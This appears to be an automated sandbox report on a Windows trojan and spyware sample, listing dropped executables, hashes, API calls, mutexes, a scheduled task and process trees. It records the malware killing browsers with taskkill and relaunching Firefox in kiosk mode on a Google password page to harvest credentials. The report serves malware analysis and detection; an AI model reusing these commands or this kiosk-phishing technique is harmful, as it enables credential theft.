memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_418b65b3-6
Source: 2ada66c192.exe, 0000002C.00000000.2906143455.0000000000732000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_7f544493-d
Source: 2ada66c192.exe, 0000002C.00000000.2906143455.0000000000732000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_7fab1405-2

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: ae5cfd188c.exe.6.dr	Static PE information: section name:
Source: ae5cfd188c.exe.6.dr	Static PE information: section name: .idata
Source: ae5cfd188c.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 37df924488.exe.6.dr	Static PE information: section name:
Source: 37df924488.exe.6.dr	Static PE information: section name: .idata
Source: 37df924488.exe.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: 9c2827fca4.exe.6.dr	Static PE information: section name:
Source: 9c2827fca4.exe.6.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00ABCB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

6_2_00ABCB97

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_006DD5EB: CreateFileW,DeviceIoControl,CloseHandle,

11_2_006DD5EB

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_006D1201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

11_2_006D1201

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_006DE8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

11_2_006DE8F6

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A278BB	0_2_00A278BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A28860	0_2_00A28860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A27049	0_2_00A27049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A231A8	0_2_00A231A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AF81D3	0_2_00AF81D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AF8101	0_2_00AF8101
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009E4B30	0_2_009E4B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009E4DE0	0_2_009E4DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A22D10	0_2_00A22D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A2779B	0_2_00A2779B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A17F36	0_2_00A17F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AE78BB	1_2_00AE78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AE8860	1_2_00AE8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AE7049	1_2_00AE7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AE31A8	1_2_00AE31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AA4B30	1_2_00AA4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AA4DE0	1_2_00AA4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AE2D10	1_2_00AE2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AE779B	1_2_00AE779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00AD7F36	1_2_00AD7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00AE78BB	2_2_00AE78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00AE8860	2_2_00AE8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00AE7049	2_2_00AE7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00AE31A8	2_2_00AE31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00AA4B30	2_2_00AA4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00AA4DE0	2_2_00AA4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00AE2D10	2_2_00AE2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00AE779B	2_2_00AE779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00AD7F36	2_2_00AD7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AAE530	6_2_00AAE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AC6192	6_2_00AC6192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AE8860	6_2_00AE8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AA4B30	6_2_00AA4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AA4DE0	6_2_00AA4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AE2D10	6_2_00AE2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AC0E13	6_2_00AC0E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AE7049	6_2_00AE7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AE31A8	6_2_00AE31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AC1602	6_2_00AC1602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AE779B	6_2_00AE779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AE78BB	6_2_00AE78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AC3DF1	6_2_00AC3DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AD7F36	6_2_00AD7F36
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_0067BF40	11_2_0067BF40
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_00678060	11_2_00678060
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006E2046	11_2_006E2046
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006D8298	11_2_006D8298
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006AE4FF	11_2_006AE4FF
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006A676B	11_2_006A676B
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_00704873	11_2_00704873
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_0067CAF0	11_2_0067CAF0
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_0069CAA0	11_2_0069CAA0
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_0068CC39	11_2_0068CC39
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006A6DD9	11_2_006A6DD9
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_0068D065	11_2_0068D065
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_0068B119	11_2_0068B119
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006791C0	11_2_006791C0
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_00691394	11_2_00691394
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_00691706	11_2_00691706
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_0069781B	11_2_0069781B
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_0068997D	11_2_0068997D
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_00677920	11_2_00677920
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006919B0	11_2_006919B0
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_00697A4A	11_2_00697A4A
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_00691C77	11_2_00691C77
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_00697CA7	11_2_00697CA7
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006FBE44	11_2_006FBE44
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006A9EEE	11_2_006A9EEE
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_00691F32	11_2_00691F32

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe 1D95373C2284B657B614F07051EED5FED72F34F787350409E49E8DC30A5EA494
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe 9661D8306B9BF658642A01718AC746113E19741A560A48A5583BACD52998AF22
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe 2A68C5304DEEBB741759B134BE32D6C0F8E64DFBB8C06D9765E3035D3AF6CBFD

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 009F80C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: String function: 00690A30 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: String function: 0068F9F2 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00AB7A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00ABD64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00ABD663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00ABD942 appears 85 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00ABDF80 appears 81 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00AD8E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00AB80C0 appears 393 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: random[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.997627865484429
Source: random[1].exe.6.dr	Static PE information: Section: xyjapqsh ZLIB complexity 0.9942076156859846
Source: ae5cfd188c.exe.6.dr	Static PE information: Section: ZLIB complexity 0.997627865484429
Source: ae5cfd188c.exe.6.dr	Static PE information: Section: xyjapqsh ZLIB complexity 0.9942076156859846
Source: random[1].exe0.6.dr	Static PE information: Section: ipnqzgkg ZLIB complexity 0.9949173823395884
Source: 37df924488.exe.6.dr	Static PE information: Section: ipnqzgkg ZLIB complexity 0.9949173823395884

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@85/20@28/14

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_006E37B5 GetLastError,FormatMessageW,

11_2_006E37B5

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006D10BF AdjustTokenPrivileges,CloseHandle,		11_2_006D10BF
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Code function: 11_2_006D16C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		11_2_006D16C3

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_006E51CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

11_2_006E51CD

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_006DD4DC CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

11_2_006DD4DC

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_006E648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

11_2_006E648E

Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe

Code function: 11_2_006742A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

11_2_006742A2

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6896:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6740:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3300:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7364:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7200:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5304:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4228:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1700:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6244:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5796:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ae5cfd188c.exe, 00000007.00000003.2497427727.0000000005624000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2498097741.0000000005600000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2631430591.0000000005420000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 55%

Source: 37df924488.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: ae5cfd188c.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe "C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe "C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe "C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe "C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe"
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2272 -parentBuildID 20230927232528 -prefsHandle 2192 -prefMapHandle 2184 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {55e86b5f-3953-4278-9a52-23c7c331b436} 5932 "\\.\pipe\gecko-crash-server-pipe.5932" 2ba49c6e110 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe "C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe "C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4116 -parentBuildID 20230927232528 -prefsHandle 4068 -prefMapHandle 4064 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8f1a1788-4a6a-4b44-adb8-7b34c81ea1a2} 5932 "\\.\pipe\gecko-crash-server-pipe.5932" 2ba5bd78210 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe "C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe"
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe "C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe"
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ae5cfd188c.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2016 --field-trial-handle=1944,i,17281856634279828374,9724014430205040748,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=ae5cfd188c.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1164 --field-trial-handle=1988,i,16142706175083674967,2684589522950696221,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
